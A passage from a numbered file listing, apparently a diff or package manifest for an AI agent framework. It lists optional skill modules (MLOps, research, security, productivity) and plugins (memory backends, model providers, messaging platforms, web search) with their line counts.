  507. package/optional-skills/health/fitness-nutrition/references/FORMULAS.md +100 -0
  508. package/optional-skills/health/fitness-nutrition/scripts/body_calc.py +210 -0
  509. package/optional-skills/health/fitness-nutrition/scripts/nutrition_search.py +86 -0
  510. package/optional-skills/health/neuroskill-bci/SKILL.md +459 -0
  511. package/optional-skills/health/neuroskill-bci/references/api.md +286 -0
  512. package/optional-skills/health/neuroskill-bci/references/metrics.md +220 -0
  513. package/optional-skills/health/neuroskill-bci/references/protocols.md +452 -0
  514. package/optional-skills/mcp/DESCRIPTION.md +3 -0
  515. package/optional-skills/mcp/fastmcp/SKILL.md +300 -0
  516. package/optional-skills/mcp/fastmcp/references/fastmcp-cli.md +110 -0
  517. package/optional-skills/mcp/fastmcp/scripts/scaffold_fastmcp.py +56 -0
  518. package/optional-skills/mcp/fastmcp/templates/api_wrapper.py +54 -0
  519. package/optional-skills/mcp/fastmcp/templates/database_server.py +77 -0
  520. package/optional-skills/mcp/fastmcp/templates/file_processor.py +55 -0
  521. package/optional-skills/mcp/mcporter/SKILL.md +123 -0
  522. package/optional-skills/migration/DESCRIPTION.md +2 -0
  523. package/optional-skills/migration/openclaw-migration/SKILL.md +298 -0
  524. package/optional-skills/migration/openclaw-migration/scripts/openclaw_to_hermes.py +3136 -0
  525. package/optional-skills/mlops/accelerate/SKILL.md +336 -0
  526. package/optional-skills/mlops/accelerate/references/custom-plugins.md +453 -0
  527. package/optional-skills/mlops/accelerate/references/megatron-integration.md +489 -0
  528. package/optional-skills/mlops/accelerate/references/performance.md +525 -0
  529. package/optional-skills/mlops/chroma/SKILL.md +410 -0
  530. package/optional-skills/mlops/chroma/references/integration.md +38 -0
  531. package/optional-skills/mlops/clip/SKILL.md +257 -0
  532. package/optional-skills/mlops/clip/references/applications.md +207 -0
  533. package/optional-skills/mlops/faiss/SKILL.md +225 -0
  534. package/optional-skills/mlops/faiss/references/index_types.md +280 -0
  535. package/optional-skills/mlops/flash-attention/SKILL.md +367 -0
  536. package/optional-skills/mlops/flash-attention/references/benchmarks.md +215 -0
  537. package/optional-skills/mlops/flash-attention/references/transformers-integration.md +293 -0
  538. package/optional-skills/mlops/guidance/SKILL.md +576 -0
  539. package/optional-skills/mlops/guidance/references/backends.md +554 -0
  540. package/optional-skills/mlops/guidance/references/constraints.md +674 -0
  541. package/optional-skills/mlops/guidance/references/examples.md +767 -0
  542. package/optional-skills/mlops/huggingface-tokenizers/SKILL.md +520 -0
  543. package/optional-skills/mlops/huggingface-tokenizers/references/algorithms.md +653 -0
  544. package/optional-skills/mlops/huggingface-tokenizers/references/integration.md +637 -0
  545. package/optional-skills/mlops/huggingface-tokenizers/references/pipeline.md +723 -0
  546. package/optional-skills/mlops/huggingface-tokenizers/references/training.md +565 -0
  547. package/optional-skills/mlops/inference/outlines/SKILL.md +656 -0
  548. package/optional-skills/mlops/inference/outlines/references/backends.md +615 -0
  549. package/optional-skills/mlops/inference/outlines/references/examples.md +773 -0
  550. package/optional-skills/mlops/inference/outlines/references/json_generation.md +652 -0
  551. package/optional-skills/mlops/instructor/SKILL.md +744 -0
  552. package/optional-skills/mlops/instructor/references/examples.md +107 -0
  553. package/optional-skills/mlops/instructor/references/providers.md +70 -0
  554. package/optional-skills/mlops/instructor/references/validation.md +606 -0
  555. package/optional-skills/mlops/lambda-labs/SKILL.md +549 -0
  556. package/optional-skills/mlops/lambda-labs/references/advanced-usage.md +611 -0
  557. package/optional-skills/mlops/lambda-labs/references/troubleshooting.md +530 -0
  558. package/optional-skills/mlops/llava/SKILL.md +308 -0
  559. package/optional-skills/mlops/llava/references/training.md +197 -0
  560. package/optional-skills/mlops/modal/SKILL.md +345 -0
  561. package/optional-skills/mlops/modal/references/advanced-usage.md +503 -0
  562. package/optional-skills/mlops/modal/references/troubleshooting.md +494 -0
  563. package/optional-skills/mlops/nemo-curator/SKILL.md +387 -0
  564. package/optional-skills/mlops/nemo-curator/references/deduplication.md +87 -0
  565. package/optional-skills/mlops/nemo-curator/references/filtering.md +102 -0
  566. package/optional-skills/mlops/peft/SKILL.md +435 -0
  567. package/optional-skills/mlops/peft/references/advanced-usage.md +514 -0
  568. package/optional-skills/mlops/peft/references/troubleshooting.md +480 -0
  569. package/optional-skills/mlops/pinecone/SKILL.md +362 -0
  570. package/optional-skills/mlops/pinecone/references/deployment.md +181 -0
  571. package/optional-skills/mlops/pytorch-fsdp/SKILL.md +130 -0
  572. package/optional-skills/mlops/pytorch-fsdp/references/index.md +7 -0
  573. package/optional-skills/mlops/pytorch-fsdp/references/other.md +4261 -0
  574. package/optional-skills/mlops/pytorch-lightning/SKILL.md +350 -0
  575. package/optional-skills/mlops/pytorch-lightning/references/callbacks.md +436 -0
  576. package/optional-skills/mlops/pytorch-lightning/references/distributed.md +490 -0
  577. package/optional-skills/mlops/pytorch-lightning/references/hyperparameter-tuning.md +556 -0
  578. package/optional-skills/mlops/qdrant/SKILL.md +497 -0
  579. package/optional-skills/mlops/qdrant/references/advanced-usage.md +648 -0
  580. package/optional-skills/mlops/qdrant/references/troubleshooting.md +631 -0
  581. package/optional-skills/mlops/saelens/SKILL.md +390 -0
  582. package/optional-skills/mlops/saelens/references/README.md +69 -0
  583. package/optional-skills/mlops/saelens/references/api.md +333 -0
  584. package/optional-skills/mlops/saelens/references/tutorials.md +318 -0
  585. package/optional-skills/mlops/simpo/SKILL.md +223 -0
  586. package/optional-skills/mlops/simpo/references/datasets.md +478 -0
  587. package/optional-skills/mlops/simpo/references/hyperparameters.md +452 -0
  588. package/optional-skills/mlops/simpo/references/loss-functions.md +350 -0
  589. package/optional-skills/mlops/slime/SKILL.md +468 -0
  590. package/optional-skills/mlops/slime/references/api-reference.md +392 -0
  591. package/optional-skills/mlops/slime/references/troubleshooting.md +386 -0
  592. package/optional-skills/mlops/stable-diffusion/SKILL.md +523 -0
  593. package/optional-skills/mlops/stable-diffusion/references/advanced-usage.md +716 -0
  594. package/optional-skills/mlops/stable-diffusion/references/troubleshooting.md +555 -0
  595. package/optional-skills/mlops/tensorrt-llm/SKILL.md +191 -0
  596. package/optional-skills/mlops/tensorrt-llm/references/multi-gpu.md +298 -0
  597. package/optional-skills/mlops/tensorrt-llm/references/optimization.md +242 -0
  598. package/optional-skills/mlops/tensorrt-llm/references/serving.md +470 -0
  599. package/optional-skills/mlops/torchtitan/SKILL.md +362 -0
  600. package/optional-skills/mlops/torchtitan/references/checkpoint.md +181 -0
  601. package/optional-skills/mlops/torchtitan/references/custom-models.md +258 -0
  602. package/optional-skills/mlops/torchtitan/references/float8.md +133 -0
  603. package/optional-skills/mlops/torchtitan/references/fsdp.md +126 -0
  604. package/optional-skills/mlops/training/axolotl/SKILL.md +166 -0
  605. package/optional-skills/mlops/training/axolotl/references/api.md +5548 -0
  606. package/optional-skills/mlops/training/axolotl/references/dataset-formats.md +1029 -0
  607. package/optional-skills/mlops/training/axolotl/references/index.md +15 -0
  608. package/optional-skills/mlops/training/axolotl/references/other.md +3563 -0
  609. package/optional-skills/mlops/training/trl-fine-tuning/SKILL.md +463 -0
  610. package/optional-skills/mlops/training/trl-fine-tuning/references/dpo-variants.md +227 -0
  611. package/optional-skills/mlops/training/trl-fine-tuning/references/grpo-training.md +504 -0
  612. package/optional-skills/mlops/training/trl-fine-tuning/references/online-rl.md +82 -0
  613. package/optional-skills/mlops/training/trl-fine-tuning/references/reward-modeling.md +122 -0
  614. package/optional-skills/mlops/training/trl-fine-tuning/references/sft-training.md +168 -0
  615. package/optional-skills/mlops/training/trl-fine-tuning/templates/basic_grpo_training.py +228 -0
  616. package/optional-skills/mlops/training/unsloth/SKILL.md +84 -0
  617. package/optional-skills/mlops/training/unsloth/references/index.md +7 -0
  618. package/optional-skills/mlops/training/unsloth/references/llms-full.md +16799 -0
  619. package/optional-skills/mlops/training/unsloth/references/llms-txt.md +12044 -0
  620. package/optional-skills/mlops/training/unsloth/references/llms.md +82 -0
  621. package/optional-skills/mlops/whisper/SKILL.md +321 -0
  622. package/optional-skills/mlops/whisper/references/languages.md +189 -0
  623. package/optional-skills/productivity/canvas/SKILL.md +98 -0
  624. package/optional-skills/productivity/canvas/scripts/canvas_api.py +157 -0
  625. package/optional-skills/productivity/here-now/SKILL.md +217 -0
  626. package/optional-skills/productivity/here-now/scripts/drive.sh +406 -0
  627. package/optional-skills/productivity/here-now/scripts/publish.sh +445 -0
  628. package/optional-skills/productivity/memento-flashcards/SKILL.md +324 -0
  629. package/optional-skills/productivity/memento-flashcards/scripts/memento_cards.py +353 -0
  630. package/optional-skills/productivity/memento-flashcards/scripts/youtube_quiz.py +88 -0
  631. package/optional-skills/productivity/shop-app/SKILL.md +340 -0
  632. package/optional-skills/productivity/shopify/SKILL.md +373 -0
  633. package/optional-skills/productivity/siyuan/SKILL.md +298 -0
  634. package/optional-skills/productivity/telephony/SKILL.md +418 -0
  635. package/optional-skills/productivity/telephony/scripts/telephony.py +1343 -0
  636. package/optional-skills/research/bioinformatics/SKILL.md +235 -0
  637. package/optional-skills/research/darwinian-evolver/SKILL.md +199 -0
  638. package/optional-skills/research/darwinian-evolver/scripts/parrot_openrouter.py +218 -0
  639. package/optional-skills/research/darwinian-evolver/scripts/show_snapshot.py +69 -0
  640. package/optional-skills/research/darwinian-evolver/templates/custom_problem_template.py +240 -0
  641. package/optional-skills/research/domain-intel/SKILL.md +97 -0
  642. package/optional-skills/research/domain-intel/scripts/domain_intel.py +397 -0
  643. package/optional-skills/research/drug-discovery/SKILL.md +227 -0
  644. package/optional-skills/research/drug-discovery/references/ADMET_REFERENCE.md +66 -0
  645. package/optional-skills/research/drug-discovery/scripts/chembl_target.py +53 -0
  646. package/optional-skills/research/drug-discovery/scripts/ro5_screen.py +44 -0
  647. package/optional-skills/research/duckduckgo-search/SKILL.md +238 -0
  648. package/optional-skills/research/duckduckgo-search/scripts/duckduckgo.sh +28 -0
  649. package/optional-skills/research/gitnexus-explorer/SKILL.md +214 -0
  650. package/optional-skills/research/gitnexus-explorer/scripts/proxy.mjs +92 -0
  651. package/optional-skills/research/osint-investigation/SKILL.md +277 -0
  652. package/optional-skills/research/osint-investigation/references/sources/courtlistener.md +98 -0
  653. package/optional-skills/research/osint-investigation/references/sources/gdelt.md +104 -0
  654. package/optional-skills/research/osint-investigation/references/sources/icij-offshore.md +104 -0
  655. package/optional-skills/research/osint-investigation/references/sources/nyc-acris.md +90 -0
  656. package/optional-skills/research/osint-investigation/references/sources/ofac-sdn.md +92 -0
  657. package/optional-skills/research/osint-investigation/references/sources/opencorporates.md +103 -0
  658. package/optional-skills/research/osint-investigation/references/sources/sec-edgar.md +83 -0
  659. package/optional-skills/research/osint-investigation/references/sources/senate-ld.md +89 -0
  660. package/optional-skills/research/osint-investigation/references/sources/usaspending.md +97 -0
  661. package/optional-skills/research/osint-investigation/references/sources/wayback.md +93 -0
  662. package/optional-skills/research/osint-investigation/references/sources/wikipedia.md +107 -0
  663. package/optional-skills/research/osint-investigation/scripts/_http.py +82 -0
  664. package/optional-skills/research/osint-investigation/scripts/_normalize.py +67 -0
  665. package/optional-skills/research/osint-investigation/scripts/build_findings.py +221 -0
  666. package/optional-skills/research/osint-investigation/scripts/entity_resolution.py +228 -0
  667. package/optional-skills/research/osint-investigation/scripts/fetch_courtlistener.py +149 -0
  668. package/optional-skills/research/osint-investigation/scripts/fetch_gdelt.py +162 -0
  669. package/optional-skills/research/osint-investigation/scripts/fetch_icij_offshore.py +234 -0
  670. package/optional-skills/research/osint-investigation/scripts/fetch_nyc_acris.py +203 -0
  671. package/optional-skills/research/osint-investigation/scripts/fetch_ofac_sdn.py +175 -0
  672. package/optional-skills/research/osint-investigation/scripts/fetch_opencorporates.py +192 -0
  673. package/optional-skills/research/osint-investigation/scripts/fetch_sec_edgar.py +184 -0
  674. package/optional-skills/research/osint-investigation/scripts/fetch_senate_ld.py +146 -0
  675. package/optional-skills/research/osint-investigation/scripts/fetch_usaspending.py +170 -0
  676. package/optional-skills/research/osint-investigation/scripts/fetch_wayback.py +142 -0
  677. package/optional-skills/research/osint-investigation/scripts/fetch_wikipedia.py +267 -0
  678. package/optional-skills/research/osint-investigation/scripts/timing_analysis.py +253 -0
  679. package/optional-skills/research/osint-investigation/templates/source-template.md +59 -0
  680. package/optional-skills/research/parallel-cli/SKILL.md +391 -0
  681. package/optional-skills/research/qmd/SKILL.md +441 -0
  682. package/optional-skills/research/scrapling/SKILL.md +336 -0
  683. package/optional-skills/research/searxng-search/SKILL.md +212 -0
  684. package/optional-skills/research/searxng-search/scripts/searxng.sh +22 -0
  685. package/optional-skills/security/1password/SKILL.md +163 -0
  686. package/optional-skills/security/1password/references/cli-examples.md +31 -0
  687. package/optional-skills/security/1password/references/get-started.md +21 -0
  688. package/optional-skills/security/DESCRIPTION.md +3 -0
  689. package/optional-skills/security/oss-forensics/SKILL.md +423 -0
  690. package/optional-skills/security/oss-forensics/references/evidence-types.md +89 -0
  691. package/optional-skills/security/oss-forensics/references/github-archive-guide.md +184 -0
  692. package/optional-skills/security/oss-forensics/references/investigation-templates.md +131 -0
  693. package/optional-skills/security/oss-forensics/references/recovery-techniques.md +164 -0
  694. package/optional-skills/security/oss-forensics/scripts/evidence-store.py +313 -0
  695. package/optional-skills/security/oss-forensics/templates/forensic-report.md +151 -0
  696. package/optional-skills/security/oss-forensics/templates/malicious-package-report.md +43 -0
  697. package/optional-skills/security/sherlock/SKILL.md +193 -0
  698. package/optional-skills/software-development/rest-graphql-debug/SKILL.md +514 -0
  699. package/optional-skills/web-development/DESCRIPTION.md +5 -0
  700. package/optional-skills/web-development/page-agent/SKILL.md +190 -0
  701. package/package.json +78 -0
  702. package/plugins/__init__.py +1 -0
  703. package/plugins/__pycache__/__init__.cpython-312.pyc +0 -0
  704. package/plugins/context_engine/__init__.py +219 -0
  705. package/plugins/disk-cleanup/README.md +51 -0
  706. package/plugins/disk-cleanup/__init__.py +316 -0
  707. package/plugins/disk-cleanup/disk_cleanup.py +497 -0
  708. package/plugins/disk-cleanup/plugin.yaml +7 -0
  709. package/plugins/example-dashboard/dashboard/manifest.json +14 -0
  710. package/plugins/example-dashboard/dashboard/plugin_api.py +17 -0
  711. package/plugins/google_meet/README.md +131 -0
  712. package/plugins/google_meet/SKILL.md +148 -0
  713. package/plugins/google_meet/__init__.py +103 -0
  714. package/plugins/google_meet/audio_bridge.py +244 -0
  715. package/plugins/google_meet/cli.py +479 -0
  716. package/plugins/google_meet/meet_bot.py +852 -0
  717. package/plugins/google_meet/node/__init__.py +54 -0
  718. package/plugins/google_meet/node/cli.py +125 -0
  719. package/plugins/google_meet/node/client.py +107 -0
  720. package/plugins/google_meet/node/protocol.py +124 -0
  721. package/plugins/google_meet/node/registry.py +113 -0
  722. package/plugins/google_meet/node/server.py +201 -0
  723. package/plugins/google_meet/plugin.yaml +16 -0
  724. package/plugins/google_meet/process_manager.py +324 -0
  725. package/plugins/google_meet/realtime/__init__.py +10 -0
  726. package/plugins/google_meet/realtime/openai_client.py +332 -0
  727. package/plugins/google_meet/tools.py +348 -0
  728. package/plugins/hermes-achievements/LICENSE +21 -0
  729. package/plugins/hermes-achievements/README.md +150 -0
  730. package/plugins/hermes-achievements/dashboard/dist/index.js +732 -0
  731. package/plugins/hermes-achievements/dashboard/dist/style.css +146 -0
  732. package/plugins/hermes-achievements/dashboard/manifest.json +11 -0
  733. package/plugins/hermes-achievements/dashboard/plugin_api.py +1062 -0
  734. package/plugins/hermes-achievements/docs/achievements-performance-implementation-plan.md +157 -0
  735. package/plugins/hermes-achievements/docs/achievements-performance-implementation-spec.md +219 -0
  736. package/plugins/hermes-achievements/docs/achievements-performance-spec.md +174 -0
  737. package/plugins/hermes-achievements/docs/assets/achievements-dashboard-hd.png +0 -0
  738. package/plugins/hermes-achievements/docs/assets/achievements-tier-showcase-hd.png +0 -0
  739. package/plugins/hermes-achievements/tests/test_achievement_engine.py +156 -0
  740. package/plugins/image_gen/openai/__init__.py +303 -0
  741. package/plugins/image_gen/openai/__pycache__/__init__.cpython-312.pyc +0 -0
  742. package/plugins/image_gen/openai/plugin.yaml +7 -0
  743. package/plugins/image_gen/openai-codex/__init__.py +378 -0
  744. package/plugins/image_gen/openai-codex/__pycache__/__init__.cpython-312.pyc +0 -0
  745. package/plugins/image_gen/openai-codex/plugin.yaml +5 -0
  746. package/plugins/image_gen/xai/__init__.py +316 -0
  747. package/plugins/image_gen/xai/__pycache__/__init__.cpython-312.pyc +0 -0
  748. package/plugins/image_gen/xai/plugin.yaml +7 -0
  749. package/plugins/kanban/dashboard/dist/index.js +3143 -0
  750. package/plugins/kanban/dashboard/dist/style.css +1500 -0
  751. package/plugins/kanban/dashboard/manifest.json +14 -0
  752. package/plugins/kanban/dashboard/plugin_api.py +1612 -0
  753. package/plugins/kanban/systemd/hermes-kanban-dispatcher.service +32 -0
  754. package/plugins/memory/__init__.py +408 -0
  755. package/plugins/memory/byterover/README.md +41 -0
  756. package/plugins/memory/byterover/__init__.py +384 -0
  757. package/plugins/memory/byterover/plugin.yaml +9 -0
  758. package/plugins/memory/hindsight/README.md +138 -0
  759. package/plugins/memory/hindsight/__init__.py +1758 -0
  760. package/plugins/memory/hindsight/plugin.yaml +8 -0
  761. package/plugins/memory/holographic/README.md +36 -0
  762. package/plugins/memory/holographic/__init__.py +409 -0
  763. package/plugins/memory/holographic/holographic.py +203 -0
  764. package/plugins/memory/holographic/plugin.yaml +5 -0
  765. package/plugins/memory/holographic/retrieval.py +593 -0
  766. package/plugins/memory/holographic/store.py +579 -0
  767. package/plugins/memory/honcho/README.md +328 -0
  768. package/plugins/memory/honcho/__init__.py +1329 -0
  769. package/plugins/memory/honcho/cli.py +1452 -0
  770. package/plugins/memory/honcho/client.py +784 -0
  771. package/plugins/memory/honcho/plugin.yaml +7 -0
  772. package/plugins/memory/honcho/session.py +1255 -0
  773. package/plugins/memory/mem0/README.md +38 -0
  774. package/plugins/memory/mem0/__init__.py +374 -0
  775. package/plugins/memory/mem0/plugin.yaml +5 -0
  776. package/plugins/memory/openviking/README.md +40 -0
  777. package/plugins/memory/openviking/__init__.py +945 -0
  778. package/plugins/memory/openviking/plugin.yaml +9 -0
  779. package/plugins/memory/retaindb/README.md +40 -0
  780. package/plugins/memory/retaindb/__init__.py +767 -0
  781. package/plugins/memory/retaindb/plugin.yaml +7 -0
  782. package/plugins/memory/supermemory/README.md +99 -0
  783. package/plugins/memory/supermemory/__init__.py +792 -0
  784. package/plugins/memory/supermemory/plugin.yaml +5 -0
  785. package/plugins/model-providers/README.md +70 -0
  786. package/plugins/model-providers/ai-gateway/__init__.py +43 -0
  787. package/plugins/model-providers/ai-gateway/__pycache__/__init__.cpython-312.pyc +0 -0
  788. package/plugins/model-providers/ai-gateway/plugin.yaml +5 -0
  789. package/plugins/model-providers/alibaba/__init__.py +13 -0
  790. package/plugins/model-providers/alibaba/__pycache__/__init__.cpython-312.pyc +0 -0
  791. package/plugins/model-providers/alibaba/plugin.yaml +5 -0
  792. package/plugins/model-providers/alibaba-coding-plan/__init__.py +21 -0
  793. package/plugins/model-providers/alibaba-coding-plan/__pycache__/__init__.cpython-312.pyc +0 -0
  794. package/plugins/model-providers/alibaba-coding-plan/plugin.yaml +5 -0
  795. package/plugins/model-providers/anthropic/__init__.py +52 -0
  796. package/plugins/model-providers/anthropic/__pycache__/__init__.cpython-312.pyc +0 -0
  797. package/plugins/model-providers/anthropic/plugin.yaml +5 -0
  798. package/plugins/model-providers/arcee/__init__.py +13 -0
  799. package/plugins/model-providers/arcee/__pycache__/__init__.cpython-312.pyc +0 -0
  800. package/plugins/model-providers/arcee/plugin.yaml +5 -0
  801. package/plugins/model-providers/azure-foundry/__init__.py +21 -0
  802. package/plugins/model-providers/azure-foundry/__pycache__/__init__.cpython-312.pyc +0 -0
  803. package/plugins/model-providers/azure-foundry/plugin.yaml +5 -0
  804. package/plugins/model-providers/bedrock/__init__.py +29 -0
  805. package/plugins/model-providers/bedrock/__pycache__/__init__.cpython-312.pyc +0 -0
  806. package/plugins/model-providers/bedrock/plugin.yaml +5 -0
  807. package/plugins/model-providers/copilot/__init__.py +58 -0
  808. package/plugins/model-providers/copilot/__pycache__/__init__.cpython-312.pyc +0 -0
  809. package/plugins/model-providers/copilot/plugin.yaml +5 -0
  810. package/plugins/model-providers/copilot-acp/__init__.py +34 -0
  811. package/plugins/model-providers/copilot-acp/__pycache__/__init__.cpython-312.pyc +0 -0
  812. package/plugins/model-providers/copilot-acp/plugin.yaml +5 -0
  813. package/plugins/model-providers/custom/__init__.py +68 -0
  814. package/plugins/model-providers/custom/__pycache__/__init__.cpython-312.pyc +0 -0
  815. package/plugins/model-providers/custom/plugin.yaml +5 -0
  816. package/plugins/model-providers/deepseek/__init__.py +99 -0
  817. package/plugins/model-providers/deepseek/__pycache__/__init__.cpython-312.pyc +0 -0
  818. package/plugins/model-providers/deepseek/plugin.yaml +5 -0
  819. package/plugins/model-providers/gemini/__init__.py +72 -0
  820. package/plugins/model-providers/gemini/__pycache__/__init__.cpython-312.pyc +0 -0
  821. package/plugins/model-providers/gemini/plugin.yaml +5 -0
  822. package/plugins/model-providers/gmi/__init__.py +31 -0
  823. package/plugins/model-providers/gmi/__pycache__/__init__.cpython-312.pyc +0 -0
  824. package/plugins/model-providers/gmi/plugin.yaml +5 -0
  825. package/plugins/model-providers/huggingface/__init__.py +20 -0
  826. package/plugins/model-providers/huggingface/__pycache__/__init__.cpython-312.pyc +0 -0
  827. package/plugins/model-providers/huggingface/plugin.yaml +5 -0
  828. package/plugins/model-providers/kilocode/__init__.py +14 -0
  829. package/plugins/model-providers/kilocode/__pycache__/__init__.cpython-312.pyc +0 -0
  830. package/plugins/model-providers/kilocode/plugin.yaml +5 -0
  831. package/plugins/model-providers/kimi-coding/__init__.py +71 -0
  832. package/plugins/model-providers/kimi-coding/__pycache__/__init__.cpython-312.pyc +0 -0
  833. package/plugins/model-providers/kimi-coding/plugin.yaml +5 -0
  834. package/plugins/model-providers/minimax/__init__.py +45 -0
  835. package/plugins/model-providers/minimax/__pycache__/__init__.cpython-312.pyc +0 -0
  836. package/plugins/model-providers/minimax/plugin.yaml +5 -0
  837. package/plugins/model-providers/nous/__init__.py +54 -0
  838. package/plugins/model-providers/nous/__pycache__/__init__.cpython-312.pyc +0 -0
  839. package/plugins/model-providers/nous/plugin.yaml +5 -0
  840. package/plugins/model-providers/novita/__init__.py +27 -0
  841. package/plugins/model-providers/novita/__pycache__/__init__.cpython-312.pyc +0 -0
  842. package/plugins/model-providers/novita/plugin.yaml +5 -0
  843. package/plugins/model-providers/nvidia/__init__.py +21 -0
  844. package/plugins/model-providers/nvidia/__pycache__/__init__.cpython-312.pyc +0 -0
  845. package/plugins/model-providers/nvidia/plugin.yaml +5 -0
  846. package/plugins/model-providers/ollama-cloud/__init__.py +14 -0
  847. package/plugins/model-providers/ollama-cloud/__pycache__/__init__.cpython-312.pyc +0 -0
  848. package/plugins/model-providers/ollama-cloud/plugin.yaml +5 -0
  849. package/plugins/model-providers/openai-codex/__init__.py +15 -0
  850. package/plugins/model-providers/openai-codex/__pycache__/__init__.cpython-312.pyc +0 -0
  851. package/plugins/model-providers/openai-codex/plugin.yaml +5 -0
  852. package/plugins/model-providers/opencode-zen/__init__.py +30 -0
  853. package/plugins/model-providers/opencode-zen/__pycache__/__init__.cpython-312.pyc +0 -0
  854. package/plugins/model-providers/opencode-zen/plugin.yaml +5 -0
  855. package/plugins/model-providers/openrouter/__init__.py +115 -0
  856. package/plugins/model-providers/openrouter/__pycache__/__init__.cpython-312.pyc +0 -0
  857. package/plugins/model-providers/openrouter/plugin.yaml +5 -0
  858. package/plugins/model-providers/qwen-oauth/__init__.py +82 -0
  859. package/plugins/model-providers/qwen-oauth/__pycache__/__init__.cpython-312.pyc +0 -0
  860. package/plugins/model-providers/qwen-oauth/plugin.yaml +5 -0
  861. package/plugins/model-providers/stepfun/__init__.py +14 -0
  862. package/plugins/model-providers/stepfun/__pycache__/__init__.cpython-312.pyc +0 -0
  863. package/plugins/model-providers/stepfun/plugin.yaml +5 -0
  864. package/plugins/model-providers/xai/__init__.py +15 -0
  865. package/plugins/model-providers/xai/__pycache__/__init__.cpython-312.pyc +0 -0
  866. package/plugins/model-providers/xai/plugin.yaml +5 -0
  867. package/plugins/model-providers/xiaomi/__init__.py +14 -0
  868. package/plugins/model-providers/xiaomi/__pycache__/__init__.cpython-312.pyc +0 -0
  869. package/plugins/model-providers/xiaomi/plugin.yaml +5 -0
  870. package/plugins/model-providers/zai/__init__.py +21 -0
  871. package/plugins/model-providers/zai/__pycache__/__init__.cpython-312.pyc +0 -0
  872. package/plugins/model-providers/zai/plugin.yaml +5 -0
  873. package/plugins/observability/langfuse/README.md +53 -0
  874. package/plugins/observability/langfuse/__init__.py +1004 -0
  875. package/plugins/observability/langfuse/plugin.yaml +14 -0
  876. package/plugins/platforms/google_chat/__init__.py +3 -0
  877. package/plugins/platforms/google_chat/__pycache__/__init__.cpython-312.pyc +0 -0
  878. package/plugins/platforms/google_chat/__pycache__/adapter.cpython-312.pyc +0 -0
  879. package/plugins/platforms/google_chat/adapter.py +3343 -0
  880. package/plugins/platforms/google_chat/oauth.py +639 -0
  881. package/plugins/platforms/google_chat/plugin.yaml +39 -0
  882. package/plugins/platforms/irc/__init__.py +3 -0
  883. package/plugins/platforms/irc/__pycache__/__init__.cpython-312.pyc +0 -0
  884. package/plugins/platforms/irc/__pycache__/adapter.cpython-312.pyc +0 -0
  885. package/plugins/platforms/irc/adapter.py +969 -0
  886. package/plugins/platforms/irc/plugin.yaml +54 -0
  887. package/plugins/platforms/line/__init__.py +3 -0
  888. package/plugins/platforms/line/__pycache__/__init__.cpython-312.pyc +0 -0
  889. package/plugins/platforms/line/__pycache__/adapter.cpython-312.pyc +0 -0
  890. package/plugins/platforms/line/adapter.py +1639 -0
  891. package/plugins/platforms/line/plugin.yaml +65 -0
  892. package/plugins/platforms/simplex/__init__.py +3 -0
  893. package/plugins/platforms/simplex/__pycache__/__init__.cpython-312.pyc +0 -0
  894. package/plugins/platforms/simplex/__pycache__/adapter.cpython-312.pyc +0 -0
  895. package/plugins/platforms/simplex/adapter.py +746 -0
  896. package/plugins/platforms/simplex/plugin.yaml +37 -0
  897. package/plugins/platforms/teams/__init__.py +3 -0
  898. package/plugins/platforms/teams/__pycache__/__init__.cpython-312.pyc +0 -0
  899. package/plugins/platforms/teams/__pycache__/adapter.cpython-312.pyc +0 -0
  900. package/plugins/platforms/teams/adapter.py +1188 -0
  901. package/plugins/platforms/teams/plugin.yaml +48 -0
  902. package/plugins/spotify/__init__.py +66 -0
  903. package/plugins/spotify/__pycache__/__init__.cpython-312.pyc +0 -0
  904. package/plugins/spotify/__pycache__/client.cpython-312.pyc +0 -0
  905. package/plugins/spotify/__pycache__/tools.cpython-312.pyc +0 -0
  906. package/plugins/spotify/client.py +435 -0
  907. package/plugins/spotify/plugin.yaml +13 -0
  908. package/plugins/spotify/tools.py +454 -0
  909. package/plugins/teams_pipeline/__init__.py +23 -0
  910. package/plugins/teams_pipeline/cli.py +463 -0
  911. package/plugins/teams_pipeline/meetings.py +333 -0
  912. package/plugins/teams_pipeline/models.py +350 -0
  913. package/plugins/teams_pipeline/pipeline.py +692 -0
  914. package/plugins/teams_pipeline/plugin.yaml +9 -0
  915. package/plugins/teams_pipeline/runtime.py +135 -0
  916. package/plugins/teams_pipeline/store.py +194 -0
  917. package/plugins/teams_pipeline/subscriptions.py +249 -0
  918. package/plugins/video_gen/fal/__init__.py +523 -0
  919. package/plugins/video_gen/fal/__pycache__/__init__.cpython-312.pyc +0 -0
  920. package/plugins/video_gen/fal/plugin.yaml +7 -0
  921. package/plugins/video_gen/xai/__init__.py +441 -0
  922. package/plugins/video_gen/xai/__pycache__/__init__.cpython-312.pyc +0 -0
  923. package/plugins/video_gen/xai/plugin.yaml +7 -0
  924. package/plugins/web/__init__.py +7 -0
  925. package/plugins/web/__pycache__/__init__.cpython-312.pyc +0 -0
  926. package/plugins/web/brave_free/__init__.py +14 -0
  927. package/plugins/web/brave_free/__pycache__/__init__.cpython-312.pyc +0 -0
  928. package/plugins/web/brave_free/__pycache__/provider.cpython-312.pyc +0 -0
  929. package/plugins/web/brave_free/plugin.yaml +7 -0
  930. package/plugins/web/brave_free/provider.py +137 -0
  931. package/plugins/web/ddgs/__init__.py +15 -0
  932. package/plugins/web/ddgs/__pycache__/__init__.cpython-312.pyc +0 -0
  933. package/plugins/web/ddgs/__pycache__/provider.cpython-312.pyc +0 -0
  934. package/plugins/web/ddgs/plugin.yaml +7 -0
  935. package/plugins/web/ddgs/provider.py +104 -0
  936. package/plugins/web/exa/__init__.py +15 -0
  937. package/plugins/web/exa/__pycache__/__init__.cpython-312.pyc +0 -0
  938. package/plugins/web/exa/__pycache__/provider.cpython-312.pyc +0 -0
  939. package/plugins/web/exa/plugin.yaml +7 -0
  940. package/plugins/web/exa/provider.py +212 -0
  941. package/plugins/web/firecrawl/__init__.py +28 -0
  942. package/plugins/web/firecrawl/__pycache__/__init__.cpython-312.pyc +0 -0
  943. package/plugins/web/firecrawl/__pycache__/provider.cpython-312.pyc +0 -0
  944. package/plugins/web/firecrawl/plugin.yaml +7 -0
  945. package/plugins/web/firecrawl/provider.py +773 -0
  946. package/plugins/web/parallel/__init__.py +16 -0
  947. package/plugins/web/parallel/__pycache__/__init__.cpython-312.pyc +0 -0
  948. package/plugins/web/parallel/__pycache__/provider.cpython-312.pyc +0 -0
  949. package/plugins/web/parallel/plugin.yaml +7 -0
  950. package/plugins/web/parallel/provider.py +291 -0
  951. package/plugins/web/searxng/__init__.py +15 -0
  952. package/plugins/web/searxng/__pycache__/__init__.cpython-312.pyc +0 -0
